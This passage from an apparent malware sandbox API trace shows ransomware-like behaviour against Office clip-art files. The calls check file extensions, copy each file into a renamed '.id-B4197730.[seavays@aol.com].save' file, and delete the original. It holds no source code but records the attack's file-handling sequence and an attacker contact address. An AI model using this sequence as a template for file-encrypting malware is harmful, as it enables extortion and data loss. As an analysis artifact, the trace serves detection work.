(lpString1=".docx", lpString2="_.WMF") returned -1 [0077.190] lstrlenW (lpString=".pdf") returned 4 [0077.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.191] lstrlenW (lpString=".xls") returned 4 [0077.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.191] lstrlenW (lpString=".xlsx") returned 5 [0077.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.191] lstrlenW (lpString=".ppt") returned 4 [0077.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0077.191] lstrlenW (lpString=".zip") returned 4 [0077.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.191] lstrlenW (lpString=".rar") returned 4 [0077.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.191] lstrlenW (lpString=".bz2") returned 4 [0077.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.191] lstrlenW (lpString=".7z") returned 3 [0077.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0077.191] lstrlenW (lpString=".dbf") returned 4 [0077.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0077.191] lstrlenW (lpString=".1cd") returned 4 [0077.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0077.191] lstrlenW (lpString=".jpg") returned 4 [0077.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.192] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.192] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0077.193] GetLastError () returned 0x0 [0077.193] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x6852, lpOverlapped=0x0) returned 1 [0077.195] WriteFile (in: hFile=0x394, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x6860, lpOverlapped=0x0) returned 1 [0077.197] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.197] WriteFile (in: hFile=0x394, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.197] SetEndOfFile (hFile=0x394) returned 1 [0077.197] CloseHandle (hObject=0x394) returned 1 [0077.197] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.197] SetEndOfFile (hFile=0x2f8) returned 1 [0077.199] CloseHandle (hObject=0x2f8) returned 1 [0077.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0077.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0077.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0077.200] lstrlenW (lpString=".doc") returned 4 [0077.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.200] lstrlenW (lpString=".docx") returned 5 [0077.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.200] lstrlenW (lpString=".pdf") returned 4 [0077.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.200] lstrlenW (lpString=".xls") returned 4 [0077.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.200] lstrlenW (lpString=".xlsx") returned 5 [0077.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.200] lstrlenW (lpString=".ppt") returned 4 [0077.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0077.201] lstrlenW (lpString=".zip") returned 4 [0077.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.201] lstrlenW (lpString=".rar") returned 4 [0077.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.201] lstrlenW (lpString=".bz2") returned 4 [0077.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.201] lstrlenW (lpString=".7z") returned 3 [0077.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0077.201] lstrlenW (lpString=".dbf") returned 4 [0077.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0077.201] lstrlenW (lpString=".1cd") returned 4 [0077.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0077.201] lstrlenW (lpString=".jpg") returned 4 [0077.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.202] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.202] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0077.203] GetLastError () returned 0x0 [0077.203] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xa90, lpOverlapped=0x0) returned 1 [0077.204] WriteFile (in: hFile=0x394, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xaa0, lpOverlapped=0x0) returned 1 [0077.206] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.206] WriteFile (in: hFile=0x394, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.206] SetEndOfFile (hFile=0x394) returned 1 [0077.206] CloseHandle (hObject=0x394) returned 1 [0077.206] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.206] SetEndOfFile (hFile=0x2f8) returned 1 [0077.207] CloseHandle (hObject=0x2f8) returned 1 [0077.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.208] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 1 [0077.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0077.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0077.208] lstrlenW (lpString=".doc") returned 4 [0077.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.208] lstrlenW (lpString=".docx") returned 5 [0077.208] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.209] lstrlenW (lpString=".pdf") returned 4 [0077.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.209] lstrlenW (lpString=".xls") returned 4 [0077.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.209] lstrlenW (lpString=".xlsx") returned 5 [0077.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.209] lstrlenW (lpString=".ppt") returned 4 [0077.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0077.209] lstrlenW (lpString=".zip") returned 4 [0077.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.209] lstrlenW (lpString=".rar") returned 4 [0077.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.209] lstrlenW (lpString=".bz2") returned 4 [0077.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.209] lstrlenW (lpString=".7z") returned 3 [0077.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0077.209] lstrlenW (lpString=".dbf") returned 4 [0077.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0077.209] lstrlenW (lpString=".1cd") returned 4 [0077.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF") returned 68 [0077.209] lstrlenW (lpString=".jpg") returned 4 [0077.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.211] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.211] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0077.212] GetLastError () returned 0x0 [0077.212] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x52c, lpOverlapped=0x0) returned 1 [0077.670] WriteFile (in: hFile=0x394, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x530, lpOverlapped=0x0) returned 1 [0077.781] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.781] WriteFile (in: hFile=0x394, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.781] SetEndOfFile (hFile=0x394) returned 1 [0077.794] CloseHandle (hObject=0x394) returned 1 [0077.796] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.796] SetEndOfFile (hFile=0x2f8) returned 1 [0077.838] CloseHandle (hObject=0x2f8) returned 1 [0077.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0077.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0077.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0077.839] lstrlenW (lpString=".doc") returned 4 [0077.839] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.839] lstrlenW (lpString=".docx") returned 5 [0077.839] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.839] lstrlenW (lpString=".pdf") returned 4 [0077.839] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.839] lstrlenW (lpString=".xls") returned 4 [0077.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.840] lstrlenW (lpString=".xlsx") returned 5 [0077.840] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.840] lstrlenW (lpString=".ppt") returned 4 [0077.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0077.840] lstrlenW (lpString=".zip") returned 4 [0077.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.840] lstrlenW (lpString=".rar") returned 4 [0077.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.840] lstrlenW (lpString=".bz2") returned 4 [0077.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.840] lstrlenW (lpString=".7z") returned 3 [0077.840] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0077.840] lstrlenW (lpString=".dbf") returned 4 [0077.840] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0077.840] lstrlenW (lpString=".1cd") returned 4 [0077.840] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0077.840] lstrlenW (lpString=".jpg") returned 4 [0077.840] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.842] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.842] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0077.842] GetLastError () returned 0x0 [0077.842] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x432, lpOverlapped=0x0) returned 1 [0077.885] WriteFile (in: hFile=0x398, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x440, lpOverlapped=0x0) returned 1 [0077.886] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.886] WriteFile (in: hFile=0x398, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.886] SetEndOfFile (hFile=0x398) returned 1 [0077.886] CloseHandle (hObject=0x398) returned 1 [0077.886] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.887] SetEndOfFile (hFile=0x2f8) returned 1 [0077.889] CloseHandle (hObject=0x2f8) returned 1 [0077.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 1 [0077.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0077.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0077.890] lstrlenW (lpString=".doc") returned 4 [0077.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.890] lstrlenW (lpString=".docx") returned 5 [0077.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.890] lstrlenW (lpString=".pdf") returned 4 [0077.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.890] lstrlenW (lpString=".xls") returned 4 [0077.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.890] lstrlenW (lpString=".xlsx") returned 5 [0077.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.890] lstrlenW (lpString=".ppt") returned 4 [0077.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0077.890] lstrlenW (lpString=".zip") returned 4 [0077.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.890] lstrlenW (lpString=".rar") returned 4 [0077.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.891] lstrlenW (lpString=".bz2") returned 4 [0077.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.891] lstrlenW (lpString=".7z") returned 3 [0077.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0077.891] lstrlenW (lpString=".dbf") returned 4 [0077.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0077.891] lstrlenW (lpString=".1cd") returned 4 [0077.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0077.891] lstrlenW (lpString=".jpg") returned 4 [0077.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.892] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.892] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0077.899] GetLastError () returned 0x0 [0077.899] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x2bb6, lpOverlapped=0x0) returned 1 [0077.918] WriteFile (in: hFile=0x398, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0077.920] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.920] WriteFile (in: hFile=0x398, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.920] SetEndOfFile (hFile=0x398) returned 1 [0077.920] CloseHandle (hObject=0x398) returned 1 [0077.920] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.921] SetEndOfFile (hFile=0x2f8) returned 1 [0077.922] CloseHandle (hObject=0x2f8) returned 1 [0077.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0077.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0077.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0077.923] lstrlenW (lpString=".doc") returned 4 [0077.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.923] lstrlenW (lpString=".docx") returned 5 [0077.923] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.923] lstrlenW (lpString=".pdf") returned 4 [0077.923] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.923] lstrlenW (lpString=".xls") returned 4 [0077.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.923] lstrlenW (lpString=".xlsx") returned 5 [0077.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.924] lstrlenW (lpString=".ppt") returned 4 [0077.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0077.924] lstrlenW (lpString=".zip") returned 4 [0077.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.924] lstrlenW (lpString=".rar") returned 4 [0077.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.924] lstrlenW (lpString=".bz2") returned 4 [0077.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.924] lstrlenW (lpString=".7z") returned 3 [0077.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0077.924] lstrlenW (lpString=".dbf") returned 4 [0077.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0077.924] lstrlenW (lpString=".1cd") returned 4 [0077.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0077.924] lstrlenW (lpString=".jpg") returned 4 [0077.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.929] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.929] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | 